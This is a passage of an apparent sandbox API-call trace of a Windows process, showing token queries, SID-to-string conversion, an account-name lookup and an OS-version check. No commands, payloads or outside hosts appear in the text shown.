pcchLanguagesBuffer=0x67117de10) returned 1 [0109.499] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0109.499] RtlRestoreLastWin32Error () returned 0x670dbf000 [0109.499] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0109.500] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0109.500] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0109.500] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0109.500] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0109.500] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0109.502] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0109.502] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0109.503] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0109.503] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0109.503] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0109.505] GetCurrentThread () returned 0xfffffffffffffffe [0109.505] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0109.505] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0109.505] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0109.505] GetLastError () returned 0x7a [0109.505] malloc (_Size=0x2c) returned 0x196ef0d09d0 [0109.505] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d09d0, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d09d0, ReturnLength=0x67117c740) returned 1 [0109.505] IsValidSid (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0109.505] GetLengthSid (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0109.505] malloc (_Size=0x1c) returned 0x196ef0f9a30 [0109.505] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9a30, pSourceSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9a30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0109.505] GetSidIdentifierAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d09e2 [0109.505] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0109.506] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0109.506] malloc (_Size=0x18) returned 0x196ef0d1e60 [0109.506] malloc (_Size=0x18) returned 0x196ef0d1e20 [0109.506] SysStringLen (param_1="S-1-") returned 0x4 [0109.506] SysStringLen (param_1="5") returned 0x1 [0109.506] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0109.506] memcpy (in: _Dst=0x196ee7aaa50, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7aaa50) returned 0x196ee7aaa50 [0109.506] free (_Block=0x196ef0d1ba0) [0109.506] free (_Block=0x196ef0d1e60) [0109.506] GetSidSubAuthorityCount (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d09e1 [0109.506] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d09e8 [0109.506] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0109.506] malloc (_Size=0x18) returned 0x196ef0d1e60 [0109.506] malloc (_Size=0x18) returned 0x196ef0d19a0 [0109.506] SysStringLen (param_1="S-1-5") returned 0x5 [0109.506] SysStringLen (param_1="-") returned 0x1 [0109.506] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aaa48, _Size=0xc | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0109.506] memcpy (in: _Dst=0x196ee7aa9f2, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aa9f2) returned 0x196ee7aa9f2 [0109.506] free (_Block=0x196ef0d1e20) [0109.506] free (_Block=0x196ef0d1e60) [0109.506] malloc (_Size=0x18) returned 0x196ef0d1a60 [0109.506] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0109.506] SysStringLen (param_1="S-1-5-") returned 0x6 [0109.506] SysStringLen (param_1="21") returned 0x2 [0109.507] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aa9e8, _Size=0xe | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0109.507] memcpy (in: _Dst=0x196ee7aab44, _Src=0x196ee7aaa48, _Size=0x6 | out: _Dst=0x196ee7aab44) returned 0x196ee7aab44 [0109.507] free (_Block=0x196ef0d19a0) [0109.507] free (_Block=0x196ef0d1a60) [0109.507] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d09ec [0109.507] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0109.507] malloc (_Size=0x18) returned 0x196ef0d1d00 [0109.507] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0109.507] SysStringLen (param_1="S-1-5-21") returned 0x8 [0109.507] SysStringLen (param_1="-") returned 0x1 [0109.507] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aab38, _Size=0x12 | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0109.507] memcpy (in: _Dst=0x196ee7aaa58, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7aaa58) returned 0x196ee7aaa58 [0109.507] free (_Block=0x196ef0d1bc0) [0109.507] free (_Block=0x196ef0d1d00) [0109.507] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0109.507] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0109.507] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0109.507] SysStringLen (param_1="1560258661") returned 0xa [0109.507] memcpy (in: _Dst=0x196ee777438, _Src=0x196ee7aaa48, _Size=0x14 | out: _Dst=0x196ee777438) returned 0x196ee777438 [0109.507] memcpy (in: _Dst=0x196ee77744a, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee77744a) returned 0x196ee77744a [0109.507] free (_Block=0x196ef0d1ec0) [0109.507] free (_Block=0x196ef0d1ba0) [0109.507] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d09f0 [0109.507] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0109.507] malloc (_Size=0x18) returned 0x196ef0d1be0 [0109.508] malloc (_Size=0x18) returned 0x196ef0d1d80 [0109.508] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0109.508] SysStringLen (param_1="-") returned 0x1 [0109.508] memcpy (in: _Dst=0x196ee777118, _Src=0x196ee777438, _Size=0x28 | out: _Dst=0x196ee777118) returned 0x196ee777118 [0109.508] memcpy (in: _Dst=0x196ee77713e, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee77713e) returned 0x196ee77713e [0109.508] free (_Block=0x196ef0d1ac0) [0109.508] free (_Block=0x196ef0d1be0) [0109.508] malloc (_Size=0x18) returned 0x196ef0d1f40 [0109.508] malloc (_Size=0x18) returned 0x196ef0d1d60 [0109.508] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0109.508] SysStringLen (param_1="3990802383") returned 0xa [0109.508] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee777118, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0109.508] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0109.508] free (_Block=0x196ef0d1d80) [0109.508] free (_Block=0x196ef0d1f40) [0109.508] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d09f4 [0109.508] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0109.508] malloc (_Size=0x18) returned 0x196ef0d2040 [0109.508] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0109.508] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0109.508] SysStringLen (param_1="-") returned 0x1 [0109.508] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0109.508] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0109.508] free (_Block=0x196ef0d1d60) [0109.509] free (_Block=0x196ef0d2040) [0109.509] malloc (_Size=0x18) returned 0x196ef0d2020 [0109.509] malloc (_Size=0x18) returned 0x196ef0d1d60 [0109.509] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0109.509] SysStringLen (param_1="1811730007") returned 0xa [0109.509] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0109.509] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0109.509] free (_Block=0x196ef0d1ae0) [0109.509] free (_Block=0x196ef0d2020) [0109.509] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d09f8 [0109.509] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0109.509] malloc (_Size=0x18) returned 0x196ef0d2080 [0109.509] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0109.509] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0109.509] SysStringLen (param_1="-") returned 0x1 [0109.509] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0109.509] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0109.509] free (_Block=0x196ef0d1d60) [0109.509] free (_Block=0x196ef0d2080) [0109.509] malloc (_Size=0x18) returned 0x196ef0d1b00 [0109.509] malloc (_Size=0x18) returned 0x196ef0d1e00 [0109.509] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0109.509] SysStringLen (param_1="1000") returned 0x4 [0109.509] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0109.509] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7aaa48, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0109.509] free (_Block=0x196ef0d1ce0) [0109.510] free (_Block=0x196ef0d1b00) [0109.510] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0109.510] malloc (_Size=0x5e) returned 0x196ef0d0610 [0109.510] free (_Block=0x196ef0d1e00) [0109.510] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0109.511] free (_Block=0x196ef0d0610) [0109.511] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0109.512] GetLastError () returned 0x7a [0109.512] malloc (_Size=0x1a) returned 0x196ef0f9f70 [0109.512] malloc (_Size=0xe) returned 0x196ef0d1b40 [0109.512] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9f70, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1b40, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0109.515] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0109.515] malloc (_Size=0x18) returned 0x196ef0d1be0 [0109.515] free (_Block=0x196ef0f9f70) [0109.515] free (_Block=0x196ef0d1b40) [0109.516] free (_Block=0x196ef0f9a30) [0109.516] free (_Block=0x196ef0d1be0) [0109.516] free (_Block=0x196ef0d1ce0) [0109.516] free (_Block=0x196ef0d1cc0) [0109.516] free (_Block=0x196ef0d09d0) [0109.516] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0109.517] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0109.517] GetLastError () returned 0x7a [0109.517] malloc (_Size=0x2c) returned 0x196ef0d0a90 [0109.517] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0a90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0a90, ReturnLength=0x67117c740) returned 1 [0109.517] IsValidSid (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0109.517] GetLengthSid (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0109.517] malloc (_Size=0x1c) returned 0x196ef0f9ca0 [0109.517] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9ca0, pSourceSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0109.517] GetSidIdentifierAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0aa2 [0109.517] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0109.517] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0109.517] malloc (_Size=0x18) returned 0x196ef0d1f40 [0109.517] malloc (_Size=0x18) returned 0x196ef0d1d40 [0109.517] SysStringLen (param_1="S-1-") returned 0x4 [0109.517] SysStringLen (param_1="5") returned 0x1 [0109.517] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aaa48, _Size=0xa | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0109.517] memcpy (in: _Dst=0x196ee7aab40, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7aab40) returned 0x196ee7aab40 [0109.517] free (_Block=0x196ef0d1aa0) [0109.517] free (_Block=0x196ef0d1f40) [0109.517] GetSidSubAuthorityCount (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0aa1 [0109.517] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0aa8 [0109.517] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0109.517] malloc (_Size=0x18) returned 0x196ef0d1a80 [0109.517] malloc (_Size=0x18) returned 0x196ef0d1c00 [0109.517] SysStringLen (param_1="S-1-5") returned 0x5 [0109.517] SysStringLen (param_1="-") returned 0x1 [0109.518] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aab38, _Size=0xc | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0109.518] memcpy (in: _Dst=0x196ee7aa9f2, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7aa9f2) returned 0x196ee7aa9f2 [0109.518] free (_Block=0x196ef0d1d40) [0109.518] free (_Block=0x196ef0d1a80) [0109.518] malloc (_Size=0x18) returned 0x196ef0d1f00 [0109.518] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0109.518] SysStringLen (param_1="S-1-5-") returned 0x6 [0109.518] SysStringLen (param_1="21") returned 0x2 [0109.518] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aa9e8, _Size=0xe | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0109.518] memcpy (in: _Dst=0x196ee7aaa54, _Src=0x196ee7aab38, _Size=0x6 | out: _Dst=0x196ee7aaa54) returned 0x196ee7aaa54 [0109.518] free (_Block=0x196ef0d1c00) [0109.518] free (_Block=0x196ef0d1f00) [0109.518] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0aac [0109.518] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0109.518] malloc (_Size=0x18) returned 0x196ef0d1a80 [0109.518] malloc (_Size=0x18) returned 0x196ef0d20a0 [0109.518] SysStringLen (param_1="S-1-5-21") returned 0x8 [0109.518] SysStringLen (param_1="-") returned 0x1 [0109.518] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aaa48, _Size=0x12 | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0109.518] memcpy (in: _Dst=0x196ee7aab48, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7aab48) returned 0x196ee7aab48 [0109.518] free (_Block=0x196ef0d1ba0) [0109.518] free (_Block=0x196ef0d1a80) [0109.518] malloc (_Size=0x18) returned 0x196ef0d1a20 [0109.518] malloc (_Size=0x18) returned 0x196ef0d2020 [0109.519] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0109.519] SysStringLen (param_1="1560258661") returned 0xa [0109.519] memcpy (in: _Dst=0x196ee777438, _Src=0x196ee7aab38, _Size=0x14 | out: _Dst=0x196ee777438) returned 0x196ee777438 [0109.519] memcpy (in: _Dst=0x196ee77744a, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee77744a) returned 0x196ee77744a [0109.519] free (_Block=0x196ef0d20a0) [0109.519] free (_Block=0x196ef0d1a20) [0109.519] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0ab0 [0109.519] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0109.519] malloc (_Size=0x18) returned 0x196ef0d1c80 [0109.519] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0109.519] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0109.519] SysStringLen (param_1="-") returned 0x1 [0109.519] memcpy (in: _Dst=0x196ee777118, _Src=0x196ee777438, _Size=0x28 | out: _Dst=0x196ee777118) returned 0x196ee777118 [0109.519] memcpy (in: _Dst=0x196ee77713e, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee77713e) returned 0x196ee77713e [0109.519] free (_Block=0x196ef0d2020) [0109.519] free (_Block=0x196ef0d1c80) [0109.519] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0109.519] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0109.519] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0109.519] SysStringLen (param_1="3990802383") returned 0xa [0109.519] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee777118, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0109.519] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0109.519] free (_Block=0x196ef0d1aa0) [0109.519] free (_Block=0x196ef0d1ac0) [0109.519] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0ab4 [0109.520] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0109.520] malloc (_Size=0x18) returned 0x196ef0d1e80 [0109.520] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0109.520] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0109.520] SysStringLen (param_1="-") returned 0x1 [0109.520] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0109.520] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0109.520] free (_Block=0x196ef0d1bc0) [0109.520] free (_Block=0x196ef0d1e80) [0109.520] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0109.520] malloc (_Size=0x18) returned 0x196ef0d1f00 [0109.520] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0109.520] SysStringLen (param_1="1811730007") returned 0xa [0109.520] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0109.520] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0109.520] free (_Block=0x196ef0d1ba0) [0109.520] free (_Block=0x196ef0d1cc0) [0109.520] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0ab8 [0109.520] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0109.520] malloc (_Size=0x18) returned 0x196ef0d2020 [0109.520] malloc (_Size=0x18) returned 0x196ef0d19a0 [0109.520] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0109.520] SysStringLen (param_1="-") returned 0x1 [0109.520] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0109.520] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0109.520] free (_Block=0x196ef0d1f00) [0109.521] free (_Block=0x196ef0d2020) [0109.521] malloc (_Size=0x18) returned 0x196ef0d19c0 [0109.521] malloc (_Size=0x18) returned 0x196ef0d20e0 [0109.521] SysStringLen 